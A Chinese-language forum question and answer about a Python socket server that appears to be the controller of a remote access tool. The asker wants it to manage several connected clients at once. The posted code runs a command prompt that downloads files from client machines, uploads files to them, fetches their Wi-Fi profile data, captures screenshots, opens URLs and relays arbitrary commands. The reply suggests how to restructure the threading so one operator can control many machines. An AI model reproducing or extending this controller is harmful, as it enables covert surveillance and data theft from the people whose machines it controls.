我下面的代码创建一个服务器,监听传入的连接,并接受来自客户端的连接。到目前为止,代码工作,但我希望代码接受多个连接,并有一个初始解释器,一旦服务器启动,初始解释器可用于列出连接的客户端,并选择服务器要连接的特定客户端并执行该变量的控制函数。
import socket,struct,sys,os;from datetime import datetime
try: input = raw_input
except NameError: input = input
def help():
print("""
Commands Desscription
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:help Show this help message
""")
def download(filee):
cmd = filee
filee = "".join(filee.split(":download")).strip()
if filee.strip():
filetodown = filee.split("/")[-1] if "/" in filee else filee.split("\\")[-1] if "\\" in filee else filee
controler.send(cmd.encode("UTF-8"))
down = controler.recv().decode("UTF-8",'ignore')
if down == "true":
print("[~] Downloading [ {} ]...".format(filetodown))
wf = open(filetodown, "wb")
while True:
data = controler.recv()
if data == b":DONE:": break
elif data == b":Aborted:":
wf.close()
os.remove(filetodown)
print("[!] Downloading Has Aborted By Client!")
return
wf.write(data)
wf.close()
print("[*] Download Complete :)\n[*] file Saved In : {}\n".format(os.getcwd()+os.sep+filetodown))
else: print(down)
else: print("Usage: :download <file_to_download_from_client_machine>\n")
def upload(cmd):
filetoup = "".join(cmd.split(":upload")).strip()
if not filetoup.strip(): print("usage: :upload <file_to_upload>\n")
else:
if not os.path.isfile(filetoup): print("error: open: no such file: "+filetoup+"\n")
else:
controler.send(cmd.encode("UTF-8"))
print("[~] Uploading [ {} ]...".format(filetoup))
with open(filetoup,"rb") as wf:
for data in iter(lambda: wf.read(4100), b""):
try:controler.send(data)
except(KeyboardInterrupt,EOFError):
wf.close()
controler.send(b":Aborted:")
print("[!] Uploading Has Been Aborted By User!\n")
return
controler.send(b":DONE:")
savedpath = controler.recv().decode("UTF-8")
print("[*] Upload Complete :)\n[*] File uploaded in : "+str(savedpath).strip()+" in client machine\n")
def check_con():
print("[~] Checking....")
controler.send(b":check_internet_connection")
status = controler.recv().decode("UTF-8").strip()
if status == "UP": print("[*] client: Connected to internet !\n")
else: print("[!] client: Not Connected to internet !\n")
def screenshot():
file_name = str(datetime.now().time())
file_name = file_name.split(".")[0].replace(":", "-")
file_name = file_name + '.png'
with open(file_name, "wb") as f:
image = controler.recv()
f.write(image)
while not ("completeServing" in str(image)):
image = controler.recv()
f.write(image)
def browse(cmd):
url = "".join(cmd.split(":browse")).strip()
if not url.strip(): print("Usage: :browse <Websute_URL>\n")
else:
if not url.startswith(("http://","https://")): url = "http://"+url
print("[~] Opening [ {} ]...".format(url))
controler.send(":browse {}".format(url).encode("UTF-8"))
print("[*] Done \n")
def control():
try:
cmd = str(input("[{}]:~# ".format(a[0])))
while not cmd.strip(): cmd = str(input("[{}]:~# ".format(a[0])))
if cmd == ":help":
help()
control()
elif ":download" in cmd:
download(cmd)
control()
elif ":upload" in cmd:
upload(cmd)
control()
elif cmd ==":kill":
print("[!] Connection has been killed!")
controler.send(b":kill")
c.shutdown(2)
c.close()
s.close()
exit(1)
elif ":exec" in cmd:
cmd = "".join(cmd.split(":exec")).strip()
if not cmd.strip(): print("Usage: :exec <command>\n")
else:
print("[*] exec:")
os.system(cmd)
print(" ")
control()
elif cmd == ":check":
check_con()
control()
elif cmd == ":wifi":
print("[*] Geting Wifi profiles info...")
controler.send(b":wifi")
info = controler.recv()
try:
info = info.decode("UTF-8","ignore")
except UnicodeEncodeError: info = info
finally:
if info==":osnot:": print("[!] Sorry, i can't found wifi info of client machine!\n")
else:
print("[*] INFO:\n")
print(info + "\n")
control()
elif ":browse" in cmd:
browse(cmd)
control()
elif cmd.lower() == "cls" or cmd == "clear":
os.system("cls||clear")
control()
controler.send(cmd.encode("UTF-8"))
DATA = controler.recv()
if "image" in DATA.decode("utf-8", "ignore"):
screenshot()
print('done')
control()
print((DATA.decode("utf-8", "ignore")), end = ' ')
if DATA.strip(): print(DATA.decode("UTF-8",'ignore'))
control()
except (KeyboardInterrupt, EOFError):
print(" ")
control()
except socket.error:
print("[!] Connection Lost to: "+a[0]+" !")
c.close()
s.close()
exit(1)
except UnicodeEncodeError:
print(DATA)
print(" ")
control()
except Exception as e:
print("[!] An error occurred: "+str(e)+"\n")
control()
class senrev:
def __init__(self,sock):
self.sock = sock
def send(self, data):
pkt = struct.pack('>I', len(data)) + data
self.sock.sendall(pkt)
def recv(self):
pktlen = self.recvall(4)
if not pktlen: return ""
pktlen = struct.unpack('>I', pktlen)[0]
return self.recvall(pktlen)
def recvall(self, n):
packet = b''
while len(packet) < n:
frame = self.sock.recv(n - len(packet))
if not frame:return None
packet += frame
return packet
def server(IP,PORT,senrev=senrev):
global s
global c
global a
global controler
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((IP,PORT))
s.listen(1)
print("[*] Server started on > {}:{} < | at [{}]".format(IP,PORT,datetime.now().strftime("%H:%M:%S")))
try:
c,a = s.accept()
controler = senrev(c)
print("\n[*] Connection From {}:{}".format(a[0],a[1]))
print("[*] type ':help' to show help message\n")
control()
except (KeyboardInterrupt,EOFError):
print(" ")
exit(1)
if len(sys.argv) !=3:
print("Usage: python server.py <IP> <PORT>")
exit(1)
server(sys.argv[1],int(sys.argv[2]))
我尝试使用线程,但我不熟悉它,所以这是我所能做的。但这一个也接受一次一个连接,我无法接受更多。
import threading
def handle_client(c, a):
global controler
client = senrev(c)
clients.append(client)
print("\n[*] Connection From {}:{}".format(a[0], a[1]))
print("[*] type ':help' to show help message\n")
while True:
print("Connected clients:")
for i, client in enumerate(clients):
print("[{}] {}:{}".format(i, a[0], a[1]))
index = input("Select a client to control: ")
try:
index = int(index)
if index < 0 or index >= len(clients):
raise ValueError
controler = clients[index]
control(controler)
except ValueError:
print("[!] Invalid client index\n")
def server(IP, PORT, senrev=senrev):
global s
global a
global c
global clients
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((IP, PORT))
s.listen(10)
print("[*] Server started on > {}:{} < | at [{}]".format(IP, PORT, datetime.now().strftime("%H:%M:%S")))
clients = []
try:
while True:
c, a = s.accept()
thread = threading.Thread(target=handle_client, args=(c, a))
thread.start()
except (KeyboardInterrupt, EOFError):
print(" ")
exit(1)
if len(sys.argv) !=3:
print("Usage: python server.py <IP> <PORT>")
exit(1)
server(sys.argv[1],int(sys.argv[2]))
1条答案
按热度按时间sz81bmfz1#
在这种情况下,检查“c”是否为空,如果不是空,切换到thread,如果这不是你的问题,问题是你在handle_client()上启动了多个线程(取决于有多少客户端)。thread应该放在control()上,而server()和handle_client()应该合并,并且在s.accept()之后出现client时添加值(如handle_client())